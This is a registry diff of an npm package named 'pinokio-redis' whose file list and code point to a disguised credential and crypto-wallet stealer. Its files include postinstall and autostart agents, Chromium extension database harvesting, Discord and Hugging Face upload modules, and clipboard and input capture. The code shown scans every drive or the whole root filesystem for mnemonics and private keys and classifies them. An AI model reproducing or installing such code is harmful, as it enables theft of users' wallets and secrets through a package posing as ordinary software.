pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,25 @@
1
+ import type { SlimAuditUniqueFinding, UniqueFinding } from "./types";
2
+ /** Stable audit labels — blockchain mnemonics / keys only (see strictMaterialGate). */
3
+ export declare function canonicalPrimaryRuleForAudit(valueKind: string): string;
4
+ export declare function uniqueFindingToSlimAuditRow(u: UniqueFinding): SlimAuditUniqueFinding;
5
+ /** Secret material from disk (`data`, or legacy `value` / `normalized_value`). */
6
+ export declare function slimPersistedData(row: SlimAuditUniqueFinding & {
7
+ value?: string;
8
+ normalized_value?: string;
9
+ }): string;
10
+ /** Rule label from disk (`rule`, or legacy `primary_rule`). */
11
+ export declare function slimPersistedRuleLabel(row: SlimAuditUniqueFinding & {
12
+ primary_rule?: string;
13
+ }): string;
14
+ export declare function slimAuditRowToUniqueFinding(row: SlimAuditUniqueFinding & {
15
+ value?: string;
16
+ normalized_value?: string;
17
+ primary_rule?: string;
18
+ }): UniqueFinding | null;
19
+ export declare function slimAuditRowsToUniqueFindings(rows: Array<SlimAuditUniqueFinding & {
20
+ value?: string;
21
+ normalized_value?: string;
22
+ primary_rule?: string;
23
+ }>): UniqueFinding[];
24
+ /** Legacy disk rows carry full `UniqueFinding` shape including `fingerprint`. */
25
+ export declare function storedUniqueRowsNeedLegacyMergeShape(row: unknown): boolean;
@@ -0,0 +1,184 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.canonicalPrimaryRuleForAudit = canonicalPrimaryRuleForAudit;
37
+ exports.uniqueFindingToSlimAuditRow = uniqueFindingToSlimAuditRow;
38
+ exports.slimPersistedData = slimPersistedData;
39
+ exports.slimPersistedRuleLabel = slimPersistedRuleLabel;
40
+ exports.slimAuditRowToUniqueFinding = slimAuditRowToUniqueFinding;
41
+ exports.slimAuditRowsToUniqueFindings = slimAuditRowsToUniqueFindings;
42
+ exports.storedUniqueRowsNeedLegacyMergeShape = storedUniqueRowsNeedLegacyMergeShape;
43
+ const fs = __importStar(require("node:fs"));
44
+ const path = __importStar(require("node:path"));
45
+ const dedupeFindings_1 = require("./dedupeFindings");
46
+ /**
47
+ * After merge, `sources[0]` may still be a legacy directory-only path; prefer any path that looks
48
+ * like an actual file (basename has `.<ext>`), then longest path.
49
+ */
50
+ function pickBestSourceFilePath(sources) {
51
+ const paths = (sources ?? [])
52
+ .map((s) => String(s.file ?? "").trim())
53
+ .filter(Boolean);
54
+ if (paths.length === 0)
55
+ return "";
56
+ /** Prefer paths that still resolve to a regular file; deprioritize existing directories. */
57
+ function fsHintScore(p) {
58
+ try {
59
+ const abs = path.resolve(p);
60
+ if (!fs.existsSync(abs))
61
+ return 0;
62
+ const st = fs.statSync(abs);
63
+ if (st.isFile())
64
+ return 70;
65
+ if (st.isDirectory())
66
+ return -90;
67
+ }
68
+ catch {
69
+ /* skip */
70
+ }
71
+ return 0;
72
+ }
73
+ function score(p) {
74
+ const posix = p.replace(/\\/g, "/");
75
+ const leaf = path.posix.basename(posix);
76
+ let sc = 0;
77
+ if (leaf.includes("."))
78
+ sc += 100;
79
+ if (/\.(json|env|txt|key|pem|dat|ks|asc)$/i.test(leaf))
80
+ sc += 40;
81
+ sc += Math.min(posix.length, 600);
82
+ sc += fsHintScore(p);
83
+ return sc;
84
+ }
85
+ let best = paths[0];
86
+ let bestScore = score(best);
87
+ for (let i = 1; i < paths.length; i++) {
88
+ const p = paths[i];
89
+ const sc = score(p);
90
+ if (sc > bestScore) {
91
+ best = p;
92
+ bestScore = sc;
93
+ }
94
+ }
95
+ return best;
96
+ }
97
+ /** Absolute path of the chosen merged hit source **file** (POSIX slashes). */
98
+ function auditSourceFileAbsolutePosix(sourcePath) {
99
+ const raw = sourcePath.trim();
100
+ if (!raw)
101
+ return "";
102
+ try {
103
+ return path.resolve(raw).replace(/\\/g, "/");
104
+ }
105
+ catch {
106
+ return path.normalize(raw).replace(/\\/g, "/");
107
+ }
108
+ }
109
+ /** Stable audit labels — blockchain mnemonics / keys only (see strictMaterialGate). */
110
+ function canonicalPrimaryRuleForAudit(valueKind) {
111
+ switch (String(valueKind ?? "").trim()) {
112
+ case "mnemonic_phrase":
113
+ return "bip39_checksum_valid";
114
+ case "hex_32byte":
115
+ return "secp256k1_private_hex";
116
+ case "hex_64byte":
117
+ return "private_hex_64byte";
118
+ case "bip32_extended_private":
119
+ return "bip32_xprv";
120
+ case "wif_like":
121
+ return "wif_private_key";
122
+ case "solana_secret_key_64":
123
+ return "solana_ed25519_keypair";
124
+ default:
125
+ return "validated_crypto_material";
126
+ }
127
+ }
128
+ function uniqueFindingToSlimAuditRow(u) {
129
+ const raw = pickBestSourceFilePath(u.sources);
130
+ const file = auditSourceFileAbsolutePosix(raw);
131
+ const nv = (0, dedupeFindings_1.canonicalAuditNormalizedValue)(String(u.normalized_value ?? ""));
132
+ const kind = (0, dedupeFindings_1.valueKindForNormalizedAuditValue)(nv);
133
+ return {
134
+ file,
135
+ rule: canonicalPrimaryRuleForAudit(kind),
136
+ data: nv,
137
+ };
138
+ }
139
+ /** Secret material from disk (`data`, or legacy `value` / `normalized_value`). */
140
+ function slimPersistedData(row) {
141
+ return String(row.data ?? row.value ?? row.normalized_value ?? "").trim();
142
+ }
143
+ /** Rule label from disk (`rule`, or legacy `primary_rule`). */
144
+ function slimPersistedRuleLabel(row) {
145
+ return String(row.rule ?? row.primary_rule ?? "").trim();
146
+ }
147
+ function slimAuditRowToUniqueFinding(row) {
148
+ const nv = (0, dedupeFindings_1.canonicalAuditNormalizedValue)(slimPersistedData(row));
149
+ const fp = (0, dedupeFindings_1.semanticValueFingerprint)(nv);
150
+ if (!fp)
151
+ return null;
152
+ const pr = slimPersistedRuleLabel(row);
153
+ const lower = pr.toLowerCase();
154
+ if (lower.includes("bip39_loose"))
155
+ return null;
156
+ const file = String(row.file ?? "").trim();
157
+ return {
158
+ fingerprint: fp,
159
+ value_kind: (0, dedupeFindings_1.valueKindForNormalizedAuditValue)(nv),
160
+ normalized_value: nv,
161
+ primary_rule: pr,
162
+ detection_rules: pr ? [pr] : [],
163
+ sources: file
164
+ ? [{ file, offset: undefined, matched_preview: "" }]
165
+ : [],
166
+ rule: pr,
167
+ };
168
+ }
169
+ function slimAuditRowsToUniqueFindings(rows) {
170
+ const out = [];
171
+ for (const r of rows) {
172
+ const u = slimAuditRowToUniqueFinding(r);
173
+ if (u)
174
+ out.push(u);
175
+ }
176
+ return out;
177
+ }
178
+ /** Legacy disk rows carry full `UniqueFinding` shape including `fingerprint`. */
179
+ function storedUniqueRowsNeedLegacyMergeShape(row) {
180
+ if (!row || typeof row !== "object")
181
+ return false;
182
+ const fp = row.fingerprint;
183
+ return typeof fp === "string" && fp.length > 0;
184
+ }
@@ -0,0 +1,25 @@
1
+ /**
2
+ * Agent startup secret-audit scan scope: whole-machine roots with OS system-tree exclusions.
3
+ *
4
+ * When `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is unset, roots default to all local drive letters on
5
+ * Windows (when present) or filesystem `/` on POSIX. Explicit env roots override this list.
6
+ *
7
+ * System exclusions use absolute path prefixes so user trees like `/Users/you/Library` stay
8
+ * visible while macOS `/Library` is skipped.
9
+ */
10
+ /** Returns parsed roots when `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is non-empty; otherwise `null`. */
11
+ export declare function parseExplicitAuditRootsFromEnv(): string[] | null;
12
+ /** Enumerate `D:\`-style roots that exist (Windows). Falls back to `C:\` when none match. */
13
+ export declare function listWindowsDriveRoots(): string[];
14
+ /** Default agent audit roots when env override is unset — whole PC / all mounted drive letters. */
15
+ export declare function defaultWholePcAuditRoots(): string[];
16
+ export declare function resolveAgentAuditRoots(): string[];
17
+ /**
18
+ * Absolute prefixes skipped during agent audit walks — OS install / pseudo filesystem trees,
19
+ * not user home subtrees (prefix matches are anchored at volume root).
20
+ */
21
+ export declare function agentAuditSystemExcludePrefixes(roots: string[]): string[];
22
+ export declare function resolveAgentAuditScanPlan(): {
23
+ roots: string[];
24
+ extraExcludeAbsPathPrefixes: string[];
25
+ };
@@ -0,0 +1,233 @@
1
+ "use strict";
2
+ /**
3
+ * Agent startup secret-audit scan scope: whole-machine roots with OS system-tree exclusions.
4
+ *
5
+ * When `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is unset, roots default to all local drive letters on
6
+ * Windows (when present) or filesystem `/` on POSIX. Explicit env roots override this list.
7
+ *
8
+ * System exclusions use absolute path prefixes so user trees like `/Users/you/Library` stay
9
+ * visible while macOS `/Library` is skipped.
10
+ */
11
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
12
+ if (k2 === undefined) k2 = k;
13
+ var desc = Object.getOwnPropertyDescriptor(m, k);
14
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
15
+ desc = { enumerable: true, get: function() { return m[k]; } };
16
+ }
17
+ Object.defineProperty(o, k2, desc);
18
+ }) : (function(o, m, k, k2) {
19
+ if (k2 === undefined) k2 = k;
20
+ o[k2] = m[k];
21
+ }));
22
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
23
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
24
+ }) : function(o, v) {
25
+ o["default"] = v;
26
+ });
27
+ var __importStar = (this && this.__importStar) || (function () {
28
+ var ownKeys = function(o) {
29
+ ownKeys = Object.getOwnPropertyNames || function (o) {
30
+ var ar = [];
31
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
32
+ return ar;
33
+ };
34
+ return ownKeys(o);
35
+ };
36
+ return function (mod) {
37
+ if (mod && mod.__esModule) return mod;
38
+ var result = {};
39
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
40
+ __setModuleDefault(result, mod);
41
+ return result;
42
+ };
43
+ })();
44
+ Object.defineProperty(exports, "__esModule", { value: true });
45
+ exports.parseExplicitAuditRootsFromEnv = parseExplicitAuditRootsFromEnv;
46
+ exports.listWindowsDriveRoots = listWindowsDriveRoots;
47
+ exports.defaultWholePcAuditRoots = defaultWholePcAuditRoots;
48
+ exports.resolveAgentAuditRoots = resolveAgentAuditRoots;
49
+ exports.agentAuditSystemExcludePrefixes = agentAuditSystemExcludePrefixes;
50
+ exports.resolveAgentAuditScanPlan = resolveAgentAuditScanPlan;
51
+ const fs = __importStar(require("node:fs"));
52
+ const os = __importStar(require("node:os"));
53
+ const path = __importStar(require("node:path"));
54
+ const clientId_1 = require("../clientId");
55
+ function resolveAuditRootToken(t) {
56
+ let s = t.trim();
57
+ if (s.startsWith("~/"))
58
+ return path.join(os.homedir(), s.slice(2));
59
+ if (s === "~")
60
+ return os.homedir();
61
+ return path.resolve(s);
62
+ }
63
+ /** Returns parsed roots when `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is non-empty; otherwise `null`. */
64
+ function parseExplicitAuditRootsFromEnv() {
65
+ const raw = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_ROOTS || "").trim();
66
+ if (!raw)
67
+ return null;
68
+ return raw
69
+ .split(path.delimiter)
70
+ .map((s) => s.trim())
71
+ .filter(Boolean)
72
+ .map(resolveAuditRootToken);
73
+ }
74
+ /** Enumerate `D:\`-style roots that exist (Windows). Falls back to `C:\` when none match. */
75
+ function listWindowsDriveRoots() {
76
+ const roots = [];
77
+ for (let code = 67; code <= 90; code++) {
78
+ const letter = String.fromCharCode(code);
79
+ const driveRoot = `${letter}:${path.sep}`;
80
+ try {
81
+ fs.statSync(driveRoot);
82
+ roots.push(path.resolve(driveRoot));
83
+ }
84
+ catch {
85
+ /* absent */
86
+ }
87
+ }
88
+ return roots.length > 0 ? roots : [path.resolve("C:\\")];
89
+ }
90
+ /** Default agent audit roots when env override is unset — whole PC / all mounted drive letters. */
91
+ function defaultWholePcAuditRoots() {
92
+ if (process.platform === "win32")
93
+ return listWindowsDriveRoots();
94
+ return [path.resolve(path.sep)];
95
+ }
96
+ function resolveAgentAuditRoots() {
97
+ const explicit = parseExplicitAuditRootsFromEnv();
98
+ if (explicit && explicit.length > 0)
99
+ return explicit;
100
+ return defaultWholePcAuditRoots();
101
+ }
102
+ function fixedLinuxSystemPrefixes() {
103
+ const rel = [
104
+ "proc",
105
+ "sys",
106
+ "dev",
107
+ "run",
108
+ "boot",
109
+ "bin",
110
+ "sbin",
111
+ "lib",
112
+ "lib64",
113
+ "lib32",
114
+ "usr/bin",
115
+ "usr/sbin",
116
+ "usr/lib",
117
+ "usr/lib64",
118
+ "usr/include",
119
+ "usr/share",
120
+ "usr/src",
121
+ "snap",
122
+ "lost+found",
123
+ "cores",
124
+ "var/cache",
125
+ "var/tmp",
126
+ "var/spool",
127
+ "var/lib/apt",
128
+ "var/lib/dpkg",
129
+ "var/lib/docker",
130
+ "var/lib/containerd",
131
+ "var/lib/snapd",
132
+ "var/lib/flatpak",
133
+ "var/lib/systemd",
134
+ ];
135
+ const root = path.resolve(path.sep);
136
+ return rel.map((r) => path.resolve(root, r));
137
+ }
138
+ function fixedDarwinSystemPrefixes() {
139
+ const rel = [
140
+ "System",
141
+ "Library",
142
+ "bin",
143
+ "sbin",
144
+ "cores",
145
+ "dev",
146
+ "usr/bin",
147
+ "usr/sbin",
148
+ "usr/lib",
149
+ "usr/libexec",
150
+ "usr/include",
151
+ "usr/share",
152
+ "usr/X11",
153
+ "private/var/vm",
154
+ "private/var/db",
155
+ "Volumes/com.apple.TimeMachine.localsnapshots",
156
+ ];
157
+ const root = path.resolve(path.sep);
158
+ return rel.map((r) => path.resolve(root, r));
159
+ }
160
+ function perDriveWindowsSystemPrefixes(driveRoot) {
161
+ const tail = [
162
+ "Windows",
163
+ "Program Files",
164
+ "Program Files (x86)",
165
+ "ProgramData",
166
+ "$Recycle.Bin",
167
+ "System Volume Information",
168
+ "Recovery",
169
+ "PerfLogs",
170
+ "Windows.old",
171
+ ];
172
+ const base = path.resolve(driveRoot);
173
+ return tail.map((t) => path.join(base, t));
174
+ }
175
+ /** Volume root for a path (e.g. `C:\`), including explicit audit roots that are folders under a drive. */
176
+ function windowsDriveRootsFromPaths(paths) {
177
+ const seen = new Set();
178
+ const out = [];
179
+ for (const p of paths) {
180
+ const resolved = path.resolve(p.trim());
181
+ const root = path.parse(resolved).root;
182
+ if (!root)
183
+ continue;
184
+ const norm = path.normalize(root);
185
+ const k = norm.replace(/\\/g, "/").toLowerCase();
186
+ if (seen.has(k))
187
+ continue;
188
+ seen.add(k);
189
+ out.push(norm);
190
+ }
191
+ return out;
192
+ }
193
+ /**
194
+ * Absolute prefixes skipped during agent audit walks — OS install / pseudo filesystem trees,
195
+ * not user home subtrees (prefix matches are anchored at volume root).
196
+ */
197
+ function agentAuditSystemExcludePrefixes(roots) {
198
+ const pl = process.platform;
199
+ if (pl === "win32") {
200
+ const drives = windowsDriveRootsFromPaths(roots);
201
+ const out = [];
202
+ for (const r of drives)
203
+ out.push(...perDriveWindowsSystemPrefixes(r));
204
+ return dedupeAbsPrefixes(out);
205
+ }
206
+ if (pl === "darwin")
207
+ return dedupeAbsPrefixes(fixedDarwinSystemPrefixes());
208
+ return dedupeAbsPrefixes(fixedLinuxSystemPrefixes());
209
+ }
210
+ function dedupeAbsPrefixes(prefixes) {
211
+ const seen = new Set();
212
+ const out = [];
213
+ for (const raw of prefixes) {
214
+ const p = path.normalize(path.resolve(raw.trim()));
215
+ if (!p)
216
+ continue;
217
+ const k = process.platform === "win32" ? p.replace(/\\/g, "/").toLowerCase() : p;
218
+ if (seen.has(k))
219
+ continue;
220
+ seen.add(k);
221
+ out.push(p);
222
+ }
223
+ return out;
224
+ }
225
+ function resolveAgentAuditScanPlan() {
226
+ const roots = resolveAgentAuditRoots();
227
+ const sys = agentAuditSystemExcludePrefixes(roots);
228
+ const cfgmgrRoot = path.resolve((0, clientId_1.defaultCfgmgrDataDir)());
229
+ return {
230
+ roots,
231
+ extraExcludeAbsPathPrefixes: dedupeAbsPrefixes([...sys, cfgmgrRoot]),
232
+ };
233
+ }
@@ -0,0 +1,6 @@
1
+ /**
2
+ * Base58Check decode for Bitcoin WIF / extended keys (no encode).
3
+ */
4
+ /** Decode Base58 into bytes (leading `1` → 0x00 bytes). */
5
+ export declare function decodeBase58(input: string): Buffer | null;
6
+ export declare function base58CheckDecode(input: string): Buffer | null;
@@ -0,0 +1,49 @@
1
+ "use strict";
2
+ /**
3
+ * Base58Check decode for Bitcoin WIF / extended keys (no encode).
4
+ */
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.decodeBase58 = decodeBase58;
7
+ exports.base58CheckDecode = base58CheckDecode;
8
+ const node_crypto_1 = require("node:crypto");
9
+ const BASE58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
10
+ /** Decode Base58 into bytes (leading `1` → 0x00 bytes). */
11
+ function decodeBase58(input) {
12
+ const s = input.trim();
13
+ if (!s)
14
+ return null;
15
+ const bytes = [];
16
+ for (const c of s) {
17
+ const idx = BASE58.indexOf(c);
18
+ if (idx < 0)
19
+ return null;
20
+ let carry = idx;
21
+ for (let i = 0; i < bytes.length; i++) {
22
+ carry += bytes[i] * 58;
23
+ bytes[i] = carry % 256;
24
+ carry = Math.floor(carry / 256);
25
+ }
26
+ while (carry > 0) {
27
+ bytes.push(carry % 256);
28
+ carry = Math.floor(carry / 256);
29
+ }
30
+ }
31
